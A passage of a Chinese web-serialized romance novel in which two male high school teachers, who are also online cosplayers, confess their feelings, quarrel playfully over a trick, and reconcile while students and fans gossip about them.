陶与晴没从房间里看见简璃，心里确实慌了一下，走出去才发现那个人站在窗前，离空调很近直吹冷风。 陶与晴鼓起十足的勇气率先开口叫他：“我……好了，我们出门吧……” 简璃迅速且僵直的回头：“嗯、好。” 陶与晴甚至有些懊恼。 这下好了，不知道该怎么接上刚才的话题了。 他纠结的时候，感觉自己的手被人给牵上了。 第一次没有任何由的牵上了。 也、也是……他刚才亲了……所以牵手是对的对吧。 他们已经算……在一起了吗？ ——所以牵手很正常的。 简璃这意思是……他不走吗？ 陶与晴心里慌表面上也慌，但是又不想甩开简璃的，默默跟在他后面。 夏天的温度有点高，但是走到小区外面还是谁也没松手。 一直到上车，松手的时候像触电一样。 陶与晴照例坐在副驾驶，想说话又不知道说什么，好想问问主任说的是不是真的，简璃到底是不是打算走。 又觉得现在问这个好像有点煞风景，更不知道聊点什么了。 ……都怪自己，一个脑热把思路全打乱了。 这可怎么办！ 殊不知他打乱了不止自己的思路，还有简璃的。 简璃坐在驾驶位，努力心无旁骛的目视前方。 开车的时候胡思乱想是很危险的，但还是有点忍不住。 ……虽然亲亲也很好，但是他真的很想听陶老师表白。 想听扶光老师说喜欢他就这么难。 扶光老师太犯规了，怎么能越过流程直接作弊呢。 祁城最繁华的商业街，暑假这么热的天也有不少人，尤其是商场里面，有空调没太阳直晒，是避暑一大好去处。 本来约好的行程现在在两个人心里变得特别奇怪。 上次来还是不知道离玉身份，却得了个专属cos委托的时候—— ……这次来、离玉好像变成他真男朋友了？ 简璃还有点智，觉得他俩在这么多人当中逛街无异于当众“裸奔”。 “要不，先去买口罩吧，”简璃说：“……免得被太多人认出来了。” “好……” 陶与晴还处于一个很懵的半宕机状态。 “两位先生，看点什么？口罩吗？”店员小姐姐笑着说：“这个是我们新款的茶香型口罩，不仅有医用的功能性可以防污染物，还有不同的小图案，很适合你们年轻人戴的。” 店员小姐姐介绍了半天，说：“还有情侣的呢，两位先生是……” 简璃：“那就这个，拿一对。” “啊好好好，好嘞，这边结账。” 陶与晴接过一只口罩，想到了之前简璃给自己的那一个，上面有小兔子图案的。 和简璃那个小猫图案的也好像一对。 喃喃道：“情侣的……” 简璃顿了顿，点头说：“嗯，情侣的。” ……其实他不是想说这个来着。 但是他是不是被简璃承认了？ 走着走着他问简璃：“……你不走了对吧。” 见他傻乎乎的还在纠结这件事，简璃也是哭笑不得。 他根本就没想过要走，期末后京都那边打电话找他他直接就拒绝了，所以才根本没提起这件事，不知道怎么传到校领导耳朵里了，还找上了陶与晴。 简璃二话不说，伸手拉住陶与晴，往商场角落的楼梯间走。 那里没有人，简璃一个用力把陶与晴带到墙边，单手撑住一侧，说：“陶老师这个时候应该要说什么把我留下？” 陶与晴简直无可奈何。 这个人怎么这样，他明明都…… “你不说，”简璃一不做二不休，延续在家没做完的剧本，“那我可回复人家了，就说……反正学校里没人喜欢我，干脆我就回去吧。” 这个人真是…… 陶与晴抿了抿嘴，不得不承认他的“威胁”非常有效。 万分之一的概率，他也不想简璃走。 简璃再次说：“那我、可要走了。” “我……喜、……喜欢……” 简璃侧耳：“听不清，请详述，否则不通过。” “我、我、我喜欢……你——”陶与晴咬咬牙，磕磕巴巴的说：“一开始……确实、觉得你脾气不好，后来发现是个很好的人……我也不知道我什么时候慢慢喜欢你……你和其他人聊天我就不高兴，见不到你我就老是想到你，你每次靠近我我就心跳加速……” “后来发现、喜欢你是因为很多细枝末节一点一点渗透进入我的生活，你坚韧的性格底色也让我很钦佩，不是因为你是离玉，不是因为你长的……好看，当然你长的是很好看——离玉、简璃、简老师，已经成为我生活不可分割的一部分，你改变了我很多，保护了我很多……总之、我、我喜欢你……” “比一万种可能，还多一种的喜欢。” ……够了吧。 陶与晴感觉自己念了一篇小作文，脸红的要滴血了，像找个地道快点钻进去，赶紧闭上眼，不敢看他。 仿佛过去了很长的时间，具体多长不知道，也可能是陶与晴的错觉。 总之，他听见了简璃轻笑一声，才回过神来。 “嗤……” 陶与晴半睁开眼。 “语句通顺，逻辑清晰，你的答案通过了，”简璃微微低头亲了一下他的嘴角：“不走了。” 陶与晴紧张的说不出话：“！……” ……坏的没边了，离玉老师。 陶与晴被亲了一下，捂着脸脸红低着头默默想。 陶与晴简直要哭了。 哪有逼着人家表白的道……太坏了…… 简璃亲了一口没亲够，还想去含他的唇，但是听到了走路的脚步声，才和陶与晴拉开了点距离。 ……以后还有的亲呢，不着急。 他默默寻思，今天可要好好的约会，而且等开学请年纪主任吃个饭吧。 “我、”陶与晴从他包围圈里逃出来，说：“我去洗个脸。” 简璃也不逗他了，放人过去冷静冷静。 陶与晴走到商场里面的洗手间，打开水龙头猛泼了两下，感觉自己脸上的温度终于降下去了一点。 激动的手机差点没拿稳，打算把这个天大的消息告诉向思远。 目光扫到洗手台的时候，愣一愣。 这个花瓶，这个镜子，这个摆放布局…… 陶与晴点开微信打开和简璃的聊天记录。 ……原来那个家伙当时在这儿拍的照啊。 太坏了太坏了，一定要用眼睛去瞪。 “……离玉老师，”陶与晴走出来，对着一边等人的简璃微微蹙眉：“你用厕所里的照片骗我吃法餐，是不是有点过分了。” 简璃这才反应过来原来这个地方是自己当时急中生智那个洗手间。 嗯…… 简璃伸手牵住陶与晴，躲闪说：“……这都过去这么久了，扶光老师别翻我旧账了吧。” “……哼。” 看在男朋友第一天上任的份上，陶与晴放过他了。 他真的和简璃谈上了。 呃啊……好难适应。 …… 虽然两个人戴着口罩，但是毕竟身形都这么高挑，简璃戴口罩呼吸有雾气，所以还摘了眼镜，更引人注意了。 于是乎喜闻乐见的被拍了。 【#玉光#我们玉光就吃吧（图片）（图片）等官宣了姐妹们】 【放大图片，手牵手？！！这我还搞个屁同人啊】 【我勒个，小情侣又幸福了，手牵手一起逛周边店？？】 【我们玉光可是纯爱——！！！】 【我们玉光，一款近水楼台、天作之合、白月光、情有独钟……】 【楼上给我交出你的晋江账号】 【头一次嗑到真的，我服了，杀了我给二位放放烟花吧，我活个集贸啊】 【我靠，我恨不得下楼围着小区跑十圈，老子一眼看出他们就是真情侣，这要不是真的我把头拧下来给扶光当头模】 【有点惊悚了大妹子……】 【不至于不至于不至于不至于】 然后话题逐渐变成玉光什么时候官宣，又开始讨论什么时候结婚，最后有高赞评论这样说： 【其实不官宣也挺好的啦，低调一点免得太多人去影响教学工作，小情侣可以安静领证，我们安静的嗑，偶尔发发日常糖，反正离玉老师出c这么多年以来都和扶光绑定，只要不是毒唯就不会说什么的吧，熬过七年就是一辈子——不过要是能在离玉的vlog里看见扶光就好了，离玉老师太小气了，什么时候让我们看你的香香老婆出镜！别藏了！】 但是—— 真实的情况却和粉丝猜测的大不相同。 粉丝这边都觉得他们金婚多年已经是老夫老妻的状态了，起码也是网恋了多年的程度。 其实不然。 他们才刚谈，并且在一个微妙的尴尬期。 两个人都第一次谈恋爱，不见面完全不知道该干嘛，平时吃饭最多也就拉个手什么的…… 简璃好不容易抓到个机会想亲亲，刚碰到陶老师的嘴，把人吓得话都说不通顺了，躲在家里三天没出来。 还不如在学校里自然。 简璃当老师以来，第一次这么希望开学。 都不用找由，陶老师一整天都坐在他对面，比眼保健操还有用的赏心悦目。 然而……陶与晴不是故意要躲简璃，只是他真的对着这张脸就很难冷静。 尤其是你能想象你一直最喜欢的一张脸，出过无数自推的一张脸，低头亲你吗？ 谁能冷静呢。 陶与晴也觉得这样不该，他的先生上任男友一个月，一个正儿八经的亲亲都没得到，肉眼可见的蔫了。 ……这得好好哄哄才行。 只是陶与晴一时间没翻出来那本哄男友大全，还没找回顺毛哄简璃的感觉。 临近开学了，向思远才从繁忙的工作应酬中脱身，找了个时间和陶与晴约饭。 “恭喜脱单啊，你俩可算是捅破窗户纸了，”向思远和他碰杯，说：“这事儿算你走在我前头了，这顿饭你请客，而且你们家简老师是不是也该抽空对男朋友发小表示表示啊。” “请你请你，下次叫他一起，”陶与晴说：“说的好像没谈的时候他请的少了似的。” “能力多大责任就多大，”向思远一口闷了酒，说：“这是对他赚钱实力的肯定。” 说起这个，陶与晴愁眉苦脸起来：“……说真的，我感觉我和简璃不像在谈恋爱。” 向思远疑惑了一声，说：“那像什么？” “……像上战场。” “这事儿，简单，”向思远给自己又倒上一杯酒：“适应适应，多接触接触就习惯了，你主动主动，爱情是需要经营的。” 陶与晴觉得他说的挺对，说：“确实，应该经营经营。” “哦对了，”向思远说：“你没忘记当初和我的豪言壮语的，对吧？” “……我，”陶与晴说：“我当然记得了。” 不就是当1吗。 ……有什么难的。 陶与晴一鼓作气。 然后过去了好几天，甚至同学们都报完了名，第二天就要正式上课了，他还没什么动作。 ……这样子不行啊。 陶与晴痛定思痛，觉得应该逼自己一把。 开学第一天和简璃一起上班，停车的时候，他一把拉住了刚要起身简璃。 简璃回头看他，猝不及防被人拉住领带，唇贴住唇。 陶与晴亲完这一口，刚打算松手。 他一个恋爱番都只看清水向，看见黄色预警自觉绕道走的人，以为这是接吻的极限。 谁知道简璃一愣，反应过来以后，下一秒扣住了对方后脑勺。 “唔……！” 他感觉到简璃的唇摩挲着他的唇，深情碾磨几下，陶与晴想换气的中途被人挑开唇齿，舌尖勾勾碰碰，难舍难分。 这亲的陶与晴憋不住声音，一声闷哼从嘴里溢出来。 “嗯……” 分开的时候带出了一点银丝，被简璃屈指给擦去。 ……！！ 刚才那是什么？ 陶与晴懵了。 简璃亲了个饱，又轻轻啾了他一口，伸手摸摸他的头，说：“下车。” 陶与晴用手背挡住了嘴，在车里呆滞了许久。 ……？？？？ 唉？ 他怎么这么熟练啊！？ 搞得陶与晴上楼梯差点同手同脚了。 其实简璃也没好到哪里去，只是他有超强的表情管。 要不是要上课他还想再亲一会。 咳……的确还不够满足。 只有老天爷知道他忍了多久。 时隔一个暑假再见面，学校里多了高一的新生，其他的变化也是有的，比如说路上打招呼的同学变多了，时不时还有人停下来朝着他和简璃看，并且露出姨母笑。 奇奇怪怪的。 高一的教室换到了另一层，老师的办公室也换了。 简璃和陶与晴还是面对面的座位，但是刚开学还有些东西没完善，比如新办公室的椅子不太够，只剩一把了。 陶与晴：“你、你坐吧。” 简璃：“不，还是你坐。” “你先坐吧……” “我可以站一会，没事的。” 这个场景有点眼熟。 …… 徐老师默默开口：“陶老师简老师……你们两个在吵架吗？” 陶与晴和简璃异口同声：“没有啊。” 徐老师不太信。 她觉得两个人之间氛围明显不一样了。 就连最晚到的高老师，都明显感受到了这一点。 “小桃子和简老师，这是……” 徐老师小声回答：“就是吵架了吧？” “哦哟，”高老师喝了一口茶叶水，呸了呸，“难得一见啊。” 这可是冤枉了。 他们没吵架。 他们只是谈了个恋爱。 陶与晴早自习在教室里写黑板的时候还想着早上那一吻呢。 怪不好意思的……！ “陶老师，”姜一安说：“上课铃响了。” “哦好。” “……您怎么了？” “没有没有，没事没事，”陶与晴连声说：“……同学们把书翻开。” 开学第一天，班里的同学们觉得陶与晴和简璃不对劲。 他们对彼此……怎么这么礼貌啊？ “简、简老师，你好，下节课是你的。” “谢谢……陶老师，你的书我帮你拿过来了。” “好的好的，谢谢简老师。” 邓留萤心里顿时警铃大作。 她甚至带着惊恐和痛心：“闹……闹分手？” 她的玉光小情侣不是暑假才被爆料手牵手逛街的吗。 不不不不……！ 豹豹猫猫！ 她此话一出，旁边的赵遇京一口水差点没喷出来。 绝不可能。 暑假的时候两个老师拉手手拉的可熟练了。 怎么可能一个多月就闹分手啊。 “哪有这么严重，”赵遇京否定这个答案，说：“说不定只是吵架了呢。” “为什么啊，”吴尽夏也不淡定了，说：“不会吧，陶老师和简老师不会吵架的。” 宁雨停笔。 “……他们不是才谈吗。” “不可能，”赵遇京：“指定背着我们谈了好几年了。” “哦——有道啊，”又有同学说：“所以说之前开学那次吵架，其实是调情对吧？” “是啊是啊，否则怎么可能吵了架和好这么快呢。” “真的啊？陶老师和简老师谈了多久了？” 宁雨的声音逐渐被一群八卦的同学淹没了，扭头回去接着看题。 他们……难道不是才谈吗？ 宁雨搞不懂了。 姜一安觉得与其去管人家谈了多久，不如先解决眼下吧。 陶与晴下了课刚回办公室，还没坐一会，就听见门口有老师叫他。 “陶老师，主任让你去一趟办公室。” “好，马上去。” 陶与晴大概猜到是简璃那事儿，把书放好就走了。 在主任办公室门口敲了敲门，门里的人立马道：“请进。” “主任，”陶与晴开门进去，说：“您找我有事啊？” “啊小陶来了，坐坐坐。” 主任见他来了，先是到了一杯茶，笑着说：“之前简老师那事儿……” 陶与晴提起这个还有点不好意思，但他清清嗓子，说：“我和简老师聊了聊，已经……说、说服他不走了。” “啊我刚想说，那件事儿我搞错了，不好意思啊小陶。” 陶与晴：“……啊？” “简老师早就拒绝人家了，是我那天听校长他们说了这个事情，我还以为没解决呢，所以就去打扰你了，不好意思啊。” “……？” “简璃没和你说啊？你刚才说你和他聊过了。” 陶与晴拍了一下桌子，王主任都被吓了一下。 “您是说，他早拒绝了？” 陶与晴逐渐解了一切。 王主任感觉到了祸从口出：“是、是啊。” “……我知道了，我有点事儿，先告辞了，主任。” 王主任抬头：“干嘛去啊小陶。” 陶与晴转身眯了眯眼，愤怒再次代替害羞涌了上来：“清门户。” 第56章 课间的同学看见陶与晴气势汹汹的从楼上下来，招呼都不敢跟他打了。 ……这是咋了这是。 除了简老师，哪个神人能惹温柔的陶老师生气？ 办公室里，简璃莫名感觉后背凉飕飕的，拧开杯子喝了口水，下一秒门就被打开了。 陶与晴走进来，简璃看他表情不好，咽下水伸手去拉他。 然后被抽开了。 “刚才主任告诉我，有的人上学期期末，就拒绝了京都的学校。” 简璃的手悬在空中，一僵。 ……完了。 陶与晴叉腰，咬牙切齿道：“上个月，是谁拿这个激我。” 害他说了一篇小作文。 这个幼稚鬼！ 坏死了，一定一定一定要拿眼睛去瞪！ “宝贝……” “谁是你宝贝，”陶与晴拍开他的手，说：“表白作废，没得商量。” “不是，等一下——”简璃站起来，呛了一下口水，说：“咳咳……我错了，别……” 简璃在脑子里翻出那本哄男友大全。 “我错了，”他拉住陶与晴把人圈住，然后抱住人狠狠蹭蹭：“……别生气——” “撒开，不要在这儿套近乎，一会有人进来了……投机取巧的惯犯。” 不要以为还能用美男计蒙混过去。 陶与晴再次拍开他的手，说：“你降级了，我们现在同事关系，办公室注意分寸。” 简璃手里空空：“……” “朕龙颜大怒，决定将你贬回贵人，打入冷宫。” 然后他委屈巴巴的听话坐下，抬眼小心翼翼的看他。 陶老师生气也好好看，可爱。 网上的小姑娘说他恋爱脑。 他哪有恋爱脑。 他甚至要收回请王主任吃饭的想法。 刚好陶与晴这两天有很多事情要忙，可以光明正大的晾着简璃。 学生们一来办公室，看见陶与晴一丝不苟的批改课堂作业，本以为这两天是收不到他的小表情和评语了，还有些遗憾。 没想到居然还是有的。 只是画出来的小表情却不可爱了……？ 虽然也不是不可爱吧。 (#H)！(m#)！ 但是这…… 同学们互相传阅看了看，拿到手上，陷入沉思。 是谁，是谁把陶老师惹不高兴的。 快叉出去叉出去。 啊什么，根据分析应该是简老师？那没事了。 但是晚自习再次见到陶与晴，本人好像没什么变化。 和同学们说话还是非常和煦。 然后下课，简璃还是在教室门口等陶与晴回家。 学生们已经习惯了，他们就算是吵架也要一起回家的对吧。 但是今天晚上，陶与晴看了一眼简璃，好像是给了他一个眼刀。 简璃不敢动，站在门口安静得很，看见在走廊上疯跑过去的学生都没说话，换做以前早就开始训了。 ……啊？ 同学们你看看我我看看你。 坐实了，简璃和陶与晴在闹分手？ 邓留萤瞳孔地震，迅速写完了数学作业。 得想个办法让他们和好！ 然后，下课后走的比较晚的邓留萤就看见了陶与晴和简璃走在前面，一个去拉手，一个甩开，然后一个不敢拉了，幽怨的跟在后面说了什么，另一个好像怎么没回答，一个只能跟在后面做小尾巴。 不过她听不见他俩在说什么。 “……你真好看，最喜欢你了。” “哼。” “宝贝，我可以一天说一个小作文赔罪。” “不听。” 简璃挣扎了几下成功拉住了陶与晴的手。 陶与晴甩了甩没甩开，但是并不打算回头看他。 这个坏蛋休要用脸影响自己发挥。 “……亲一下。” “不可能，你降级了，再过来我告你耍流氓啊。” 简璃捏着他的手跟在后面，叹了口气。 谁叫他家陶老师平时不生气呢，生气起来不好哄也是非常正常的。 也不知道当时给自己谋福利是赚还是亏呢。 果然一报还一报啊。 “那……”简璃捏捏他的手：“我送你回去。” “我们是同事关系，坐你的车多不好意思，”陶与晴抽出手说：“我发小来接我就行。” “可这么晚了。” “你有什么意见吗。” “……没有，我觉得这是个明智的选择。” 陶与晴：“再见，好好反省吧玉贵人。” “……” 陶老师仗着自己第二天没有早课，一晃人就没影了。 而可怜的有早课的简璃站在原地，再次叹了口气。 邓留萤目睹了全过程，大概把剧情猜了个七七八八，走上前拍拍简璃的肩膀。 “简老师，您别怂啊！现在就被管住了以后怎么办？” 简璃盯了他一眼：“有意见？” 他好歹被贬了也是个贵人呢，岂能轮到的小辈指指点点？ “……没有，”邓留萤松开手摇摇头：“我觉得这是个明智的选择。” 万恶的阶级主义。 有本事凶陶老师去啊。 切。 …… 【离玉（哭哭）】：扶光老师，回家了告诉我一下好不好。 【离玉（哭哭）】：看大晚上的，你这么好看在外面多不安全啊。 【离玉（哭哭）】：我觉得扶光老师需要一个一米八五的玉贵人保护，扶光老师觉得呢。 陶与晴刚点了一餐宵夜，看见这消息挑挑眉。 【扶光】：你怎么知道向爱卿学了十二年跆拳道。 【扶光】：还有，冷宫妃子不得参与宫廷活动。 得。 地下停车库，简璃一个人坐在车里关掉手机。 确实挺冷的。 ……所以皇上什么时候把他放出去复宠升皇后。 “哦，”另一边烧烤摊上，向思远看着发小凌厉的气场，说：“原来让你成为猛1的办法就是惹你生气啊？” 这个他也挺在行。 “谁叫他框我表白来着。” 向思远撸袖子：“自由搏击。” “……不至于不至于，”陶与晴赶紧拦住他，说：“我就是闹一闹！” 向思远也没真的想揍人，谁让他发小喜欢呢。 至少不算需要挖野菜，硬件软件都还不错。 “那喝酒吗？” “不喝，明天上课呢。” 向思远给自己倒酒，把饮料递给陶与晴：“其实你也可以把简璃带上，让他请你吃饭。” “……他明早有课呢。” 向思远非常无奈的摇摇头：“还是心软啊桃子。” “谁说的，”陶与晴拿着手机去付钱，“有一种东西叫亲属卡。” 谁心软了。 这不得把他羞耻表白那天的本给吃回来。 简璃到家看见自己账号上扣掉的金额。 ……合着拿他的钱去和别的男人吃饭。 好吧，他家陶老师开心就好。 【离玉v】：我有玉玉症。 【？玉神你咋了？半夜emo？】 【我也有玉玉症，见到离玉就尖叫发疯的症（）】 【刚才我还看见了把离玉p过去的玉玉症梗图就刷到这条，笑死我了，这下可以直接截图做表情包了】 【所以离玉老师咋了啊，别打哑谜】 【老师您又要搞抽象了吗，不要偶像包袱了这是哈哈哈哈哈。】 【有老婆的男人怎么都越来越抽象】 【@扶光，你老公？】 …… 过了两天，陶与晴没想到自己能收到一份三千字的表白——论文？ 情感真诚逻辑通畅，语句优美还熟练运用了各种修辞手法，甚至取材举证。 ……这就是专业实力吗！？ 可惜了，他本来这两天忙的，看见字多的就烦。 【扶光】：我不要看论文！打回去打回去！ 【离玉（哭哭）】：（委屈成球） 【离玉（哭哭）】：那陶老师饿吗，这都快一点了，我去买饭回来？ 【扶光】：不用了，不想吃 【离玉（哭哭）】：我在追你，请尊重一下我冷宫追求者的身份。 【离玉（哭哭）】：我非要给你买，收下。 这家伙…… 陶与晴抬眼看了一眼对面的人。 那人收起手机，起身走了，动作非常迅速。 ……所以说刚才他们明明面对面的，为什么要用手机交流。 简璃打包了一份陶与晴爱吃的，带回办公室。 作为班主任，刚开学陶与晴要忙的事情很多，这两天确实比较累，各种乱七八糟的东西写的手疼。 陶与晴刚揉了揉自己的手腕，准备接受简璃的殷勤。 “等一下，”简璃出声制止陶与晴接过去的手：“我来。” 他手拆开，把筷子和水都摆过去。 好家伙…… 陶与晴拿起拆好的筷子。 这就是眼里有活吗。 ……其实陶与晴也没那么难哄。 但是……居然觉得简璃这个样子真的还蛮有意思的。 他一定是被简璃给带坏了。 “不过话说回来……”陶与晴晃了晃自己另一只手：“你这样子我怎么吃。” 他没拿筷子的那只手被简璃拉着。 “办公室现在没人。” “……没人你牵你同事的手就很成立吗！”陶与晴用力挣了挣：“我们是很纯洁的同事关系。” “我牵的分明是我男朋友，”简璃不撒开，说：“怎么不成立。” 陶与晴简直要笑了，塞了一大筷子白米饭进他嘴里，说：“少来了，你还没出冷宫呢。” “……” 简璃嘴被堵住了暂时说不了话，嚼着那一筷子白饭，食之无味。 ……希望下次陶老师能换个方式堵他的嘴。 简璃看陶与晴吃完了，迅速收拾了餐盒，把桌子擦的一尘不染，看见他的签字笔快没墨水了，抽出自己那边的笔，还把要填的资料给陶与晴放好。 “臣妾告退。” “……” 受不了了。 陶与晴扶额，想笑。 虽然简璃在办公室里对陶与晴献殷勤，但是也并不影响简璃在学生的作业本上画叉叉。 写的啥玩意，这几本统统打回去。 没有爱情的滋养还要看这群学生乱七八糟的阅读解，真是眼疼。 得想个办法开学抽他们背课文。 他去看晚自习了，而陶与晴还没走。 才不是想等他，虽然说这两天简璃是有点可怜兮兮，但是……陶与晴只是想把剩下的资料看完，然后改掉今天的数学卷子，还得备课。 一做就弄到了九点半。 而且还没弄完。 简璃下课后回办公室看陶与晴还没走，有些意外。 他还在冷宫呢，按来说皇上不该这样等自己的。 而且九月份晚上可不暖和。 简璃蹑手蹑脚的走过去，发现陶与晴撑着手睡着了，桌子上还有小半沓卷子没改完。 简璃走过去让他靠住自己，把他的手抽开，扶住他的头放了个舒服点的姿势。 高二的数学题，对着答案能改。 他把那小半沓卷子拿走，坐在陶与晴对面，转了一下红笔，动手写写画画。 陶与晴眼睫毛颤了颤，睁眼有些迷茫。 办公室此时只有一盏抬头亮着，而他不知道在自己的臂弯里睡了多久，隐约想起来自己刚才在改试卷。 这几天看的字太多，居然一不小心就睡着了。 挪动了一下视线，陶与晴微微睁大了眼。 简璃带着眼镜坐在他对面，手里拿着一支红笔，那红笔还是从前排的同学那薅来的，就这台灯的一点光，他在最后一张卷子的最后一道题上圈了个写错的数字。 画完这一笔，简璃抬头发现陶与晴已经醒了。 “醒了，”简璃收拾好试卷，说：“刚才看你睡着了就没叫你，还剩一点，我就自作主张改完了，走吧、回家。” “……”陶与晴哭笑不得：“哪有追别人还帮别人改试卷的。” “我在帮我男朋友改，”简璃站走过去，弯腰蹭蹭他的额头：“室内太冷了，快起来，回家了。” “怎么忽然又变成靠谱的简老师了，”陶与晴这次没躲，笑笑说：“不当玉贵人了？” “看你忙这么晚心疼啊，不生气了好不好，”简璃搓搓他有点发凉的手，说：“先生，原谅我吧。” “先生？”陶与晴抬头，心有灵犀一般问：“这个词有点歧义吧，简老师。” “嗯，在过去是对有学问者的尊称，通俗来说就是“老师”的意思，而词义逐渐变化多元的现代，也可以作为称呼男性的后缀，”昏暗的办公室没有一个人，简璃的声音尤其清晰：“当然——也可以是对人称呼自己的丈夫。” “我想应该是不缺人用前两种这样称呼你，但是如果可以的话，我希望我能独占第三种。” “扶光老师，愿意成为我的陶先生吗？” 陶与晴用额头轻轻撞了撞他的额头，说：“这才是你蓄谋已久的表白吧，那篇论文一样的东西，肯定只是个烟雾弹。” “文学领域里没有废话，里面写的也是真的，”简璃亲亲他的鼻梁，“都是伏笔。” “……还是不爽。” “嗯？” “感觉你的表白比我的小作文高级很多啊，为什么显得你很有文化，我却慌不择路的，我们明明都是高知分子好不好。” “这……” 陶与晴故意道：“要不然咱们还是打回去重来吧？” “别啊陶老师，”简璃无奈泄气，“再多晾我几天，我真的要哭给你看了。” 陶与晴忍不住笑出声，仰头亲亲他的嘴角。 “早说了，你惹我我就灭你。” 简璃投降，想着亲回去，“服了服了，再也不敢了。” 还没腻歪一会呢，桌上的台灯忽然熄了。 简璃：“……确定不是灭灯？” 陶与晴眨眨眼，刚想说这可不是自己干的。 他还没神到这个地步呢。 一看时间快十一点了。 “快走了！”陶与晴拉住简璃往外走：“再不走保安把我们锁里面了。” “那也可以去男生宿舍借宿一晚。” “这样做，你要半夜把你的学生给吓死吗。” “他们是该提高一下心承受能力。” 好在保安没把他们锁里面，再说就算关了门，陶与晴也有小门的备用钥匙。 回到家楼下要分开，简璃有些舍不得。 “你要说你原谅我了，我才放你走。” “……好了好了，”陶与晴也不想得不饶人，何况刚才某位先生的表白还算挺有氛围的，“勉强，把你从冷宫放出来吧。” “那什么时候考虑搬过来和男朋友一起住，”简璃这才笑了笑，拉着陶与晴的手不想松开：“反正就隔了这点距离，搬家很简单的。” “……我东西太多了，你东西也不少啊，”陶与晴说：“而且还没结婚就不给房租白住你的，是不是不太好啊简先生。” “陶先生也可以换种方式给房租，”简璃指了指自己的嘴，说：“亲一口一百块钱。” “想得美，你这个地段这个面积的房子，岂不是得亲你几十下？” 那什么。 简璃默默想。 其实做点别的，也可以一次抵消一个月。 但是这对于陶与晴来说，应该是太快了点。 于是简璃只好搂着他的腰亲了好几下，就当先付付押金了。 顺便安慰安慰这几天连手都没怎么牵到的自己。 回到家陶与晴脸红红的，刚才在楼下被简璃抱住亲了好几下，有一种他们关系忽然突飞猛进的感觉。 ……或许谈恋爱本来就该这样？ 也挺好。 最关键是…… 他居然因为这几下不是上次在车里那种……感到有点遗憾。 怎么回事，这成何体统啊！ 想到这里陶与晴就脸红。 虽然陶与晴在网上放的挺开的……但那都是开玩笑的啊。 于是深刻的反思了一下自己。 ……同时也认真的思考了一下简璃的提议。 搬到一起住，上班下班都更方便吧…… 要不然——自己找个机会和房东聊聊？ …… 这几天陶与晴疑似和简璃吵架，不仅嗑cp的学生，还有同个办公室的老师都看出来了。 本来还想着他俩要是再搞什么冷战，就想办法让俩人和好，比较维护美好的校园环境人人有责。 谁知道，今天一大早，两个人突然就好了？ 简璃在办公室里帮陶与晴把滚烫的豆浆打开散热，说：“吃点东西再去盯早自习吧。” “你也是养成吃早饭的好习惯了，”陶与晴打开袋子塞了一个包子给他：“继续保持。” 简璃咬了一口，说：“你养得好。” “什么馅的？” “鲜肉的。” 徐老师扭头看他俩又回到了以前那种默契状态，却又觉得不太一样。 又不像是吵架，又和以前不太一样。 ……因为些什么呢。 高老师吃着老婆给装的早饭，对徐老师说：“小徐啊，最近有没有男生追你啊。” “啊？啊，”徐老师低头说：“有是有啦，但是我还在考虑呢。” “你可得好好看啊，”高老师背着指了指简璃，说：“可不能找这种看着正经，其实坏水多的，你的性格治不住。” 徐老师似懂非懂。 简璃无奈的扭头：“高老师，您蛐蛐别人的时候能不能避着点儿，我可都听见了。” 高老师大笑两声，说：“这怎么能是蛐蛐你呢。” 陶与晴给了简璃一个眼神，说：“高老师瞎说什么实话。” “哈哈哈哈哈。” 这下徐老师和其他人也笑了。 简璃叹气摇了摇头，说：“我能有什么脾气呢。” “简老师！”大清早的有学生跑到办公室门口，唯唯诺诺说：“您放在讲台那本书……不小心、不小心打湿了。” “其实我一直脾气不怎么好，”简璃啪的一下站起来，“谁干的，带我去看。” 好在那本教科书只打湿了一角，这群小兔崽子仗着老师还没过去，把水装气球里玩儿。 一个不小心，扔讲台上了。 简璃非常和善的接管了今天的早自习，并且没收了所有的水气球。 “都高二了，离高考不远了，早读不好好读书，”简璃手里拿着水气球，掂了掂：“还玩这种东西，你们幼稚不？” 几个闯祸的学生都悻悻一笑。 简璃：“我就知道又有你，赵遇京，暑假作业没做够是吗？” 赵遇京嬉皮笑脸，讨好道：“够了够了，我们错了我们错了。” 几个走廊上挨训的学生看见陶与晴从不远处走过来，跟看见救命稻草一样。 但是一想到陶老师和简老师好像还在冷战中，又一个一个的蔫了回去。 陶老师这次怕是也不好使了吧？ 简璃一看他们都在往一个方向望，就知道是谁走过来了。 转身，带着另几个学生陌生的温柔表情。？ 陶与晴走过来站定：“这是怎么了？” “几个小孩子玩水，训他们呢，下节课你的，讲台我擦过了，过来。” 简璃余光看见陶与晴走过来的手在揉手，伸手拉住陶与晴的手替他揉了揉，说：“这几天动笔是不是太多了，手疼吗？” 不是…… 几个刚才还在挨训的学生一脸懵。 帅哥你谁？ “……还好啦，有点酸痛而已，休息休息就好了。” 简璃松开陶与晴转身，说：“去，把黑板给你们陶老师擦干净。” 几个同学反应了一会，发现简璃这是在放人，迅速行动。 “擦擦擦！” “马上擦马上擦。” 简璃又补了一句：“下次再看见你们几个这么皮，统统加作业。” 火急火燎擦黑板的几个人都在想，简老师变脸也太快了吧 陶与晴和简璃闲聊了两句，简璃看着陶与晴进了教室，转身想离开，手机上亮了个来电提示。 还是个陌生号码。 有过很多这种经验，简璃一时警惕起来。 第57章 教室里，陶与晴在讲台上说：“发一下昨天的卷子，我们这节课讲一讲，进度可能有点快，大家跟一跟。” 卷子发下去，很快有眼神好的学生察觉了不对劲。 陶与晴批作业的习惯，是把错的地方用红线勾出来，简璃批作业的习惯才是画红圈。 可是怎么有些人的卷子上是简老师的红圈？ 哦—— 班里的同学有些懂了。 所以简老师是靠改卷子把陶老师哄好的吗？ 学到了。 陶与晴后半节课在讲台上写着写着，感觉手腕疼的有些明显。 于是他干脆改口头讲了。 虽然他没明说，但是班里不少同学都看出来他手疼，听课都更认真了。 下课铃一响，陶与晴拿着粉笔想把布置的作业写在黑板，才有人说。 “陶老师，您手不舒服去检查一下吧，落下病根就不好了。” “是啊是啊，我妈妈就是，活干多了手腕疼。” “别累着了，好好休息啊陶老师，您念我们听着就好。” “你们真是……”陶与晴也没想到自己一个小动作都被学生给注意到了，有些感动，说：“好，我下课就去看看，一安，上来帮我写一下今天的作业吧。” 姜一安的字挺大气的，写好在黑板角落，看得清楚，也不耽误其他老师上课。 “陶老师再见！” “好好休息啊。” 陶与晴笑着和他们挥挥手，班里的学生看他走掉了才陆续从座位上站起来。 尤其是邓留萤更担心，要知道陶与晴的手可是很贵重的，那可是c圈最贵的手啊。 “咱们要是高三了，老师不得更忙啊，”有人说：“陶老师对我们这么好，我可不希望他有这些老年病。” 